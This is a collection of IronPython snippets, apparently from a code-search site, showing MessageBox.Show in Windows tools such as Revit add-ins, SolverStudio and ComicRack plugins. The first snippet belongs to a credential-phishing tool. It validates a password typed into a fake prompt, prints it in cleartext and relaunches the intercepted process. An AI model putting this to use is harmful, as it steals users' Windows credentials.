def SubmitHandler(self, sender, e):
        #Check if computer is part of a domain.
        try:
            clr.AddReference("System.DirectoryServices.ActiveDirectory")
            ctxType = ContextType.Domain
        except IOError:
            ctxType = ContextType.Machine

        ctx = PrincipalContext(ctxType)
        if ctx.ValidateCredentials(Env.UserName, self.inpBox.Text):
            startWatch.Stop()
            print "[+] CRED SUCCESS: Credentials validated against {0} -- {1}:{2}".format(
                ctx.ConnectedServer, Env.UserName, self.inpBox.Text)
            self.form.Dispose()
            self.form.Close()

            self.NewProcess = Process()
            self.NewProcess.StartInfo.FileName = self.path
            self.NewProcess.StartInfo.Arguments = self.proc['TargetInstance'][
                'CommandLine'].replace("\"{0}\"".format(self.path), "")
            GOT_CRED = True
        else:
            print "[-] CRED FAIL: Credentials failed against {0} -- {1}:{2}".format(
                Env.MachineName, Env.UserName, self.inpBox.Text)
            MessageBox.Show("Invalid Credentials!", "", MessageBoxButtons.OK,
                            MessageBoxIcon.Warning,
                            MessageBoxDefaultButton.Button1,
                            MessageBoxOptions.DefaultDesktopOnly)
Exemple #2
0
    def Dialog_dir_backup(self):
        """ Ask user to use same directory as Revit file or
            Open a DialogBox to select destination folder manually."""
        try:
            #>>>>>>>>>> Check if Revit file exists.
            file_exist = os.path.exists(doc.PathName)
            if file_exist:
                dialogResult = MessageBox.Show(
                    "Would you like to save CAD files in the same folder as current Revit file?\n\n"
                    + "Current file's path: " + str(doc.PathName), __title__,
                    MessageBoxButtons.YesNo)
                if (dialogResult == DialogResult.Yes):
                    #>>>>>>>>>> Saving folder is the same as Revit location
                    doc_path = doc.PathName
                    rvt_name = doc_path.split("\\")[-1]
                    temp = len(doc_path) - len(rvt_name)
                    doc_dir = doc_path[:temp]
                    return doc_dir

            #>>>>>>>>>> CHOOSE SAVING DIR
            fileDialog = FolderBrowserDialog()
            fileDialog.Description = "Select folder for saving dwg files."
            fileDialog.ShowDialog()

            #>>>>>>>>>> SELECTED PATH
            dir_backup = fileDialog.SelectedPath
            if not dir_backup:
                alert("Backup path was not selected!\n Please try again.",
                      title=__title__,
                      exitscript=True)
            return dir_backup

        except:
            return None
Exemple #3
0
 def __OnLinkClicked(self, sender, event):
     try:
         os.startfile(event.LinkText)
     except WindowsError:
         MessageBox.Show("Error opening link", "Error!",
                         MessageBoxButtons.OK,
                         MessageBoxIcon.Error)
Exemple #4
0
    def button_click(self, sender, event):
        number = int(self.tb.Text)
        file = self.filepath.Text

        netlist = '.subckt switch in ' + ' '.join(
            ['o' + str(i + 1) for i in range(number)]) + ' on=1 Zt=50\n'
        for i in range(number):
            if i == 0:
                netlist += '.if(on=={})\n'.format(i + 1)
            else:
                netlist += '.elseif(on=={})\n'.format(i + 1)

            for j in range(number):
                if i == j:
                    netlist += 'r{0} o{0} in 0\n'.format(j + 1)
                else:
                    netlist += 'r{0} o{0} 0 Zt\n'.format(j + 1)

        netlist += '.else\n'
        netlist += '\n'.join(
            ['r{0} o{0} 0 Zt'.format(i + 1) for i in range(number)])
        netlist += '\n.endif\n.ends'

        with open(file, 'w') as f:
            f.writelines(netlist)
            MessageBox.Show(self.filepath.Text + " is generated!")
Exemple #5
0
    def __Run(self, message, modules, modifyDB = False):
        # Reload the Modules to make sure we're using the latest code.
        if self.reloadFunction: self.reloadFunction()
        
        if not self.dbName:
            self.reportWindow.Reporter.Error("No database selected! Use the Database button in the toolbar.")
            return

        if not modifyDB:
            modifyDB = (Control.ModifierKeys == Keys.Shift)

        self.reportWindow.Clear()
        
        if modifyDB:
            dlgmsg = "Are you sure you want to make changes to the '%s' database? "\
                      "(Please backup the project first.)"
            title = "Confirm allow changes"
            result = MessageBox.Show(dlgmsg % self.dbName, title,
                                     MessageBoxButtons.YesNo,
                                     MessageBoxIcon.Question)
            if (result == DialogResult.No):
                return

            message += " (Changes enabled)"
            
        self.reportWindow.Reporter.Info(message)
        self.reportWindow.Refresh()
        self.moduleManager.RunModules(self.dbName,
                                      modules,
                                      self.reportWindow.Reporter,
                                      modifyDB)
        # Make sure the progress indicator is off
        self.reportWindow.Reporter.ProgressStop()   
Exemple #6
0
def FindBarcodeType(barcode):
    issueNumber = ""
    type = ""
    barcodeLength = len(barcode)
    #UPC-A
    if barcodeLength == 12:
        result = MessageBox.Show(
            "No issue code was entered. The script can try and look for the series but no issue number will be entered.\n\nContinue?",
            "No Issue code", MessageBoxButtons.YesNo, MessageBoxIcon.Question)
        if result == DialogResult.Yes:
            type = "upc"
        else:
            return None, None, None
    #EAN
    elif barcodeLength == 13:
        result = MessageBox.Show(
            "No issue code was entered. The script can try and look for the series but no issue number will be entered.\n\nContinue?",
            "No Issue code", MessageBoxButtons.YesNo, MessageBoxIcon.Question)
        if result == DialogResult.Yes:
            type = "ean"
        else:
            return None, None, None

    #UPC-A + UPC-5
    elif barcodeLength == 17:
        issueNumber = ParseIssueNumber(barcode[12:17])
        barcode = barcode[0:12]
        type = "upc"

    #EAN-13 + UPC-5
    elif barcodeLength == 18:
        issueNumber = ParseIssueNumber(barcode[13:18])
        barcode = barcode[0:13]
        type = "ean"

    #UPC-A + UPC-2
    elif barcodeLength == 14:
        issueNumber = barcode[12:14]
        barcode = barcode[0:12]
        type = "upc"

    #EAN-13 + UPC-2
    elif barcodeLength == 15:
        issueNumber = barcode[13:15]
        barcode = barcode[0:13]
        type = "ean"
    return barcode, issueNumber, type
Exemple #7
0
def Initialise():
	#Menu.DropDownItems.Add( ToolStripMenuItem("Test",None,MenuTester) )
	Menu.ToolStripMenuItem.MouseDown += Update
	NeosWarning()
	DLLPath = CheckDLL()
	try:
		if DLLPath[0]==";": DLLPath=DLLPath[1:]
		if not os.path.exists(DLLPath + "\\gmszlib1.dll"):
			choice = MessageBox.Show("The GAMS compression library not found. Check that gmszlib1.dll still exists in the GAMSDLLs folder included in SolverStudio. If not you will need to download a new copy of SolverStudio.","SolverStudio",MessageBoxButtons.OK)
	except:
		choice = MessageBox.Show("The GAMS compression library not found. Check that gmszlib1.dll still exists in the GAMSDLLs folder included in SolverStudio. If not you will need to download a new copy of SolverStudio.","SolverStudio",MessageBoxButtons.OK)
		
	# Menu.Add( "View last text data file",OpenDataFile)
	Menu.Add( "View last GAMS input data file in GAMSIDE",OpenInputDataInGamsIDE)
	Menu.AddSeparator()
	Menu.Add( "Import a GDX file",ImportGDXMenuHandler)
	#Menu.Add( "Create a GDX file using the Model Data",SaveGDXMenuHandler)
	Menu.AddSeparator()
	global doFixChoice
	doFixChoice=Menu.Add( "Fix Minor Errors",FixErrorClickMenu)
	global queueChoice
	queueChoice=Menu.Add( "Run in short queue",QueueClickMenu)
	global solverMenu
	chooseSolverMenu = Menu.Add ("Choose Solver",emptyClickMenu)
	gamsSolvers, categoryDict = ChooseSolver()
	solverMenu = {}
	try:
		for i in gamsSolvers:
			solverMenu[i]=[]
			categoryMenu = ToolStripMenuItem(categoryDict[i],None,emptyClickMenu)
			solverMenu[i].append(categoryMenu)
			chooseSolverMenu.DropDownItems.Add(categoryMenu)
			solverMenu[i].append({})
			for j in gamsSolvers[i]:
				solverMenu[i][1][j] = ToolStripMenuItem(j,None,SolverClickMenu)
				categoryMenu.DropDownItems.Add(solverMenu[i][1][j])
	except:
		choice = MessageBox.Show("A NEOS category is no longer supported by GAMSonNEOS.\nLaunch NEOS solver list updater.","SolverStudio",MessageBoxButtons.OK)
		if choice == DialogResult.OK:
			SolverStudio.RunInDialog("This will update the NEOS Solver List for GAMS.",UpdateSolverListWorker,True,True,True)
	Menu.AddSeparator()
	Menu.Add( "Open GAMS web page",OpenGAMSWebSite) 
	Menu.Add( "Open GAMS online documentation",OpenGAMSOnlineDocumentation) 
	Menu.Add( "Open GAMS download web page",OpenGAMSDownload) 
	Menu.AddSeparator()
	Menu.Add( "Update NEOS Solvers",UpdateSolverListMenuHandler)
	Menu.Add( "Open the NEOS web page",OpenNEOSWebSite)
Exemple #8
0
 def update(self, sender, event):
     temp = oModule.GetPortExcitationCounts()
     tempNum = len(temp)
     tempRecord = []
     for x in range(1, tempNum, 2):
         if temp[x] == '0':
             tempRecord.append(temp[x - 1])
     # MessageBox.Show(str(tempRecord))
     temp2 = self.list1.SelectedItem
     if tempRecord and (temp2 != None):
         AssignPort(tempRecord, str(temp2))
     elif temp2 == None:
         MessageBox.Show("请选择参考金属")
     elif len(tempRecord) == 0:
         MessageBox.Show("全部Port已完成")
     else:
         MessageBox.Show("错误参数!!")
Exemple #9
0
 def __LoadModules(self):
     if not hasattr(self, "moduleManager"):
         self.moduleManager = FTModules.ModuleManager()
     errorList = self.moduleManager.LoadAll()
     if errorList:
         MessageBox.Show("\n".join(errorList), "Import Error!")
     if hasattr(self, "UIPanel"):
         self.UIPanel.RefreshModules()
Exemple #10
0
def Help(helpfile):
    try:
        os.startfile(helpfile)
    except WindowsError:
        MessageBox.Show("Couldn't open help file '%s'" % helpfile,
                        "Error",
                        MessageBoxButtons.OK,
                        MessageBoxIcon.Error)
Exemple #11
0
def OpenInputDataInGamsIDE(key,e):
	try:
		oldDirectory = SolverStudio.ChangeToLanguageDirectory()
		gamsIDEPath=SolverStudio.GetEXEPath(exeName="gamside.exe", exeDirectory="gams*", mustExist=True)
		subprocess.call([gamsIDEPath, SolverStudio.WorkingDirectory()+"\\SheetData.gdx"]) 
		SolverStudio.SetCurrentDirectory(oldDirectory)
	except:
		choice = MessageBox.Show("Unable to open last data file. You need a version of GAMS installed to view GDX files. You can always use \"GAMS>Import a GDX file>SheetData.gdx\" to open it in excel.","SolverStudio",MessageBoxButtons.OK)
Exemple #12
0
 def execute(self):
     if not self.tabController.hasPages:
         return
     result = MessageBox.Show("Are you sure?", "Delete Page",
                              MessageBoxButtons.OKCancel,
                              MessageBoxIcon.Question)
     if result == DialogResult.OK:
         self.tabController.deletePage()
Exemple #13
0
 def on_click(self, sender, evernt):
     if sender == self.menu_file_exit:
         Application.Exit()
     elif sender == self.menu_help_about:
         MessageBox.Show("Mono:Accessibility winform controls test sample\n"
                         "Developer: Novell a11y hackers",
                         "About")
     else:
         self.label.Text = "You have clicked %s" % sender.Text
Exemple #14
0
 def dosave():
    dialog = SaveFileDialog()
    dialog.FileName="cvs-debug-log-" + \
       DateTime.Today.ToString("yyyy-MM-dd") + ".txt"
    dialog.Title = i18n.get("LogSaveTitle")
    dialog.Filter = i18n.get("LogSaveFilter")+'|*.*'
 
    try:
       if dialog.ShowDialog(__app_window) == DialogResult.OK:
          if dialog.FileName != None:
             debug("wrote debug logfile: ", FileInfo(dialog.FileName).Name)
             __logger.save(dialog.FileName)
             if show_error_message:
                MessageBox.Show(__app_window, i18n.get("LogSavedText"),
                   i18n.get("LogSavedTitle"), MessageBoxButtons.OK, 
                   MessageBoxIcon.Information )
    except:
       debug_exc()
       MessageBox.Show( __app_window, i18n.get("LogSaveFailedText") )
Exemple #15
0
    def click_ok(self, sender, event):

        if len(self.lstbox.CheckedItems) < 1:
            return MessageBox.Show("No element selected!", "Quasar Info Box",
                                   MessageBoxButtons.OK,
                                   MessageBoxIcon.Asterisk)

        self.class2Result = self.lstbox.CheckedItems

        return self.Close()
Exemple #16
0
def promt_user_incl_primary_and_dependant():
    """Function to show Yes/No dialog box to a user asking
    'Incl primary and dependant views and sheets?' """
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> PROMT USER YES/NO
    dialogResult = MessageBox.Show(
        'Would you like to include Primary and Dependant views and their respective sheets that they are placed on as well?',
        __title__, MessageBoxButtons.YesNo)
    if (dialogResult == DialogResult.Yes):
        return True
    return False
Exemple #17
0
def OpenInputDataInGamsIDE(key, e):
    try:
        oldDirectory = SolverStudio.ChangeToLanguageDirectory()
        gamsIDEPath = SolverStudio.GetGAMSIDEPath()
        args = "\"" + SolverStudio.WorkingDirectory() + "\\SheetData.gdx\""
        SolverStudio.StartEXE(gamsIDEPath, args)
        SolverStudio.SetCurrentDirectory(oldDirectory)
    except:
        choice = MessageBox.Show(
            "Unable to open last data file. You need a version of GAMS installed to view GDX files. You can always use \"GAMS>Import a GDX file>SheetData.gdx\" to open it in Excel.",
            "SolverStudio", MessageBoxButtons.OK)
Exemple #18
0
def ask_select_all_floors():
    """Function to show Yes/No dialog box to ask user 'Incl primary and dependant views and sheets?'
    :return: List of all room visible in the currect view. if None - Exit Script"""
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> PROMT USER YES/NO
    dialogResult = MessageBox.Show('There were no rooms selected. Would you like to select all rooms visible in the active view?',
                                    __title__,
                                    MessageBoxButtons.YesNo)

    if (dialogResult == DialogResult.Yes):
        return FilteredElementCollector(doc, active_view_id).WherePasses(ElementCategoryFilter(BuiltInCategory.OST_Rooms)).ToElements()
    sys.exit()
Exemple #19
0
def IsVersionOK():
    requiredVersion = Version(0, 9, 178)
    if str(ComicRack.App.ProductVersion) != str(requiredVersion):
        MessageBox.Show(
            ComicRack.MainWindow,
            "Version check failed!\n\nThe ComicRack API Server Plugin requires a different version of ComicRack.\nComicRack version required: "
            + str(requiredVersion) + ".\nExiting...",
            "Incompatible ComicRack version", MessageBoxButtons.OK,
            MessageBoxIcon.Warning)

    return str(ComicRack.App.ProductVersion) == str(requiredVersion)
 def __OnModuleActivated(self, moduleName):
     if self.currentCollection:
         try:
             self.collections.AddModule(self.currentCollection, moduleName)
         except FTCollections.FTC_ExistsError:
             MessageBox.Show(
                 "This module is already in the current collection",
                 "Duplicate Module", MessageBoxButtons.OK,
                 MessageBoxIcon.Information)
         else:
             self.modulesList.Items.Add(moduleName)
 def DeletealldataClick(self, sender, e):
     result = MessageBox.Show(
         "Are you absolutely sure you want to delete all the downloaded data?",
         "Delete all data", MessageBoxButtons.YesNo, MessageBoxIcon.Warning)
     if result == DialogResult.Yes:
         #MessageBox.Show("Not yet implemented")
         #print self.Owner
         self.p = Progress.Progress()
         self.p.Text = "Deleting all downloaded data. Please wait...."
         self.p.Show()
         self._backWorker.RunWorkerAsync()
Exemple #22
0
def StartAMPLLicenseServerMenuHandler(key, e):
    AMPLLicenseMgrPath = SolverStudio.GetRunningAMPLLicenseMgrPath()
    if AMPLLicenseMgrPath != None:
        MessageBox.Show(
            "An AMPL license server is already running:\n" +
            AMPLLicenseMgrPath, "SolverStudio")
        return
    AMPLLicenseMgrPath = GetLicenseMgr()
    if AMPLLicenseMgrPath != None:
        succeeded, error = SolverStudio.StartAMPLLicenseMgr(
            AMPLLicenseMgrPath, "start")
        if succeeded:
            MessageBox.Show(
                "AMPL License Manager started successfully:\n" +
                AMPLLicenseMgrPath +
                "\n\nNote that SolverStudio will normally start the license manager automatically if it is needed.",
                "SolverStudio")
        else:
            MessageBox.Show(
                "The AMPL License Manager failed to start.\n\nLicense Manager:\n"
                + AMPLLicenseMgrPath + "\n\nError:\n" + error, "SolverStudio")
Exemple #23
0
def Initialise():
	#Menu.DropDownItems.Add( ToolStripMenuItem("Test",None,MenuTester) )
	Menu.ToolStripMenuItem.MouseDown += Update
	# We now have DLL's available via the SolverStudio PATH env variable, and so don't need this check
	# DLLPath = CheckDLL()
	#try:
	#	if DLLPath[0]==";": DLLPath=DLLPath[1:]
	#	if not os.path.exists(DLLPath + "\\gmszlib1.dll"):
	#		choice = MessageBox.Show("The GAMS compression library not found. Check that gmszlib1.dll still exists in the GAMSDLLs folder included in SolverStudio. If not you will need to download a new copy of SolverStudio.","SolverStudio",MessageBoxButtons.OK)
	#except:
	#	choice = MessageBox.Show("The GAMS compression library not found. Check that gmszlib1.dll still exists in the GAMSDLLs folder included in SolverStudio. If not you will need to download a new copy of SolverStudio.","SolverStudio",MessageBoxButtons.OK)
		
	# Menu.Add( "View last text data file",OpenDataFile)
	Menu.Add( "View last GAMS input data file in GAMSIDE...",OpenInputDataInGamsIDE)
	Menu.AddSeparator()
	Menu.Add( "Import a GDX file...",ImportGDXMenuHandler)
	#Menu.Add( "Create a GDX file using the Model Data",SaveGDXMenuHandler)
	Menu.AddSeparator()
	global doFixChoice
	doFixChoice=Menu.Add( "Fix Minor Errors",FixErrorClickMenu)
	Menu.AddSeparator()
	global queueChoice
	queueChoice=Menu.Add( "Run in short NEOS queue",QueueClickMenu)
	Menu.Add( "Set Email Address for NEOS...",SetNEOSEmail)
	global solverMenu
	chooseSolverMenu = Menu.Add ("Choose Solver",emptyClickMenu)
	gamsSolvers, categoryDict = ChooseSolver()
	solverMenu = {}
	try:
		for i in gamsSolvers:
			solverMenu[i]=[]
			categoryMenu = ToolStripMenuItem(categoryDict[i],None,emptyClickMenu)
			solverMenu[i].append(categoryMenu)
			chooseSolverMenu.DropDownItems.Add(categoryMenu)
			solverMenu[i].append({})
			for j in gamsSolvers[i]:
				solverMenu[i][1][j] = ToolStripMenuItem(j,None,SolverClickMenu)
				categoryMenu.DropDownItems.Add(solverMenu[i][1][j])
	except:
		choice = MessageBox.Show("A NEOS category is no longer supported by GAMSonNEOS.\n\nDo you wish to update the NEOS solver list now?","SolverStudio",MessageBoxButtons.OK)
		if choice == DialogResult.OK:
			SolverStudio.RunInDialog("NEOS Solver List Update for GAMS.",UpdateSolverListWorker,True,True,True)
	Menu.Add( "Update NEOS Solvers...",UpdateSolverListMenuHandler)
	Menu.Add( "Test NEOS Connection...",TestNEOSConnection)
	Menu.AddSeparator()
	Menu.Add( "Open GAMS web page",OpenGAMSWebSite) 
	Menu.Add( "Open GAMS online documentation",OpenGAMSOnlineDocumentation) 
	Menu.Add( "Open GAMS download web page",OpenGAMSDownload) 
	Menu.AddSeparator()
	Menu.Add( "Open the NEOS web page",OpenNEOSWebSite)
	Menu.AddSeparator()
	Menu.Add( "About GAMSNEOS Processor",About)
Exemple #24
0
def LibraryOrganizerQuick(books):
    if books:
        try:
            loworkerform.ComicRack = ComicRack
            locommon.ComicRack = ComicRack
            lobookmover.ComicRack = ComicRack
            profiles, lastused = load_profiles(PROFILEFILE)

            if len(profiles) == 1 and profiles[profiles.keys()
                                               [0]].BaseFolder == "":
                MessageBox.Show(
                    "Library Organizer will not work as expected when the BaseFolder is empty. Please run the normal Library Organizer script or the Configure Library Organizer script before running Library Organizer Quick",
                    "BaseFolder empty", MessageBoxButtons.OK,
                    MessageBoxIcon.Warning)
                return

            show_worker_form(profiles, lastused, books)

        except Exception, ex:
            print "The following error occured"
            print Exception
            MessageBox.Show(str(ex))
Exemple #25
0
def deletecomics(options, cr, deletelist, logfile):
    ''' Moves or deletes the specified comics and removes them from the library'''
    ''' Mostly ripped form StonePawn's Libary Organizer script'''

    if not Directory.Exists(DUPESDIRECTORY):
        try:
            Directory.CreateDirectory(DUPESDIRECTORY)
        except Exception, ex:
            MessageBox.Show('ERROR: ' + str(ex),
                            "ERROR creating dump directory" + DUPESDIRECTORY,
                            MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
            logfile.write('ERROR: ' + str(ex) + '\n')
            return
Exemple #26
0
def ShowAMPLLicenseServerStatusMenuHandler(key, e):
    AMPLLicenseMgrPath = SolverStudio.GetRunningAMPLLicenseMgrPath()
    if AMPLLicenseMgrPath != None:
        output = ""
        try:
            output = output + SolverStudio.RunEXE_GetOutput(
                AMPLLicenseMgrPath,
                "licshow",
                60000,
                useLoopingWaitForExit=True
            ) + "\nampl_lic.exe status:\n" + SolverStudio.RunEXE_GetOutput(
                AMPLLicenseMgrPath,
                "status",
                60000,
                useLoopingWaitForExit=True
            ) + "\nampl_lic.exe netstatus:\n" + SolverStudio.RunEXE_GetOutput(
                AMPLLicenseMgrPath,
                "netstatus",
                60000,
                useLoopingWaitForExit=True
            ) + "\nampl_lic.exe ipranges:\n" + SolverStudio.RunEXE_GetOutput(
                AMPLLicenseMgrPath,
                "ipranges",
                60000,
                useLoopingWaitForExit=True)
        except Exception as ex:
            output = "Unable to get the AMPL License Manager status.\nError: " + str(
                ex)
        MessageBox.Show(output, "SolverStudio AMPL License Status")
        return
    AMPLLicenseMgrPath = GetLicenseMgr(
    )  # this will show a message box if AMPLLicenseMgrPath==None
    if AMPLLicenseMgrPath != None:
        MessageBox.Show(
            "An AMPL license server was found:\n" + AMPLLicenseMgrPath +
            "\nbut is not currently running.\n\nPlease start the license manager and try again to get more information.",
            "SolverStudio")
        return
def save_profile(file_path, profile):
    """
    Saves a single profile to an xml file.

    settings_file: The complete file path of the file to save to.
    profile: a Profile object.
    """
    try:
        xSettings = XmlWriterSettings()
        xSettings.Indent = True
        with XmlWriter.Create(file_path, xSettings) as writer:
            profile.save_to_xml(writer)
    except Exception, ex:
        MessageBox.Show("An error occured writing the settings file. The error was:\n\n" + ex.message, "Error saving settings file", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exemple #28
0
def ConfigureLibraryOrganizer(books):
    if books is None:
        books = ComicRack.App.GetLibraryBooks()
    try:
        locommon.ComicRack = ComicRack
        lobookmover.ComicRack = ComicRack
        profiles, lastused = load_profiles(PROFILEFILE)

        show_config_form(profiles, lastused, books)

    except Exception, ex:
        print "The Following error occured"
        print Exception
        MessageBox.Show(str(ex))
Exemple #29
0
	def click_ok(self, sender, event):
		
		if len(self.lstbox.Items) < 1:
			self.Close()
		if len(self.lstbox.CheckedItems) < 1:
			return MessageBox.Show("No element selected!", "Quasar Info Box", MessageBoxButtons.OK, MessageBoxIcon.Asterisk)	
		for i in self.lstbox.CheckedItems:
			i = self.linkDict[i];
			linkType  = doc.GetElement(i.GetTypeId());
			filepath = linkType.GetExternalFileReference().GetAbsolutePath();
			linkType.LoadFrom(filepath,None);
		
		self.class1Result = self.lstbox.CheckedItems;
		return self.Close();
Exemple #30
0
def resetDefaults():
    searchPath = path.join(os.getenv("USERPROFILE"), "Local Settings",
                           "Application Data", "Chemineer")
    for appDir in (dir for dir in os.listdir(searchPath)
                   if dir.lower().startswith("centipede.exe")):
        for versionDir in os.listdir(path.join(searchPath, appDir)):
            fileToRemove = path.join(searchPath, appDir, versionDir,
                                     "user.config")
            if not path.exists(fileToRemove):
                continue

            print "removing %s" % fileToRemove
            os.remove(fileToRemove)

    MessageBox.Show("Your defaults have been reset.", "Done")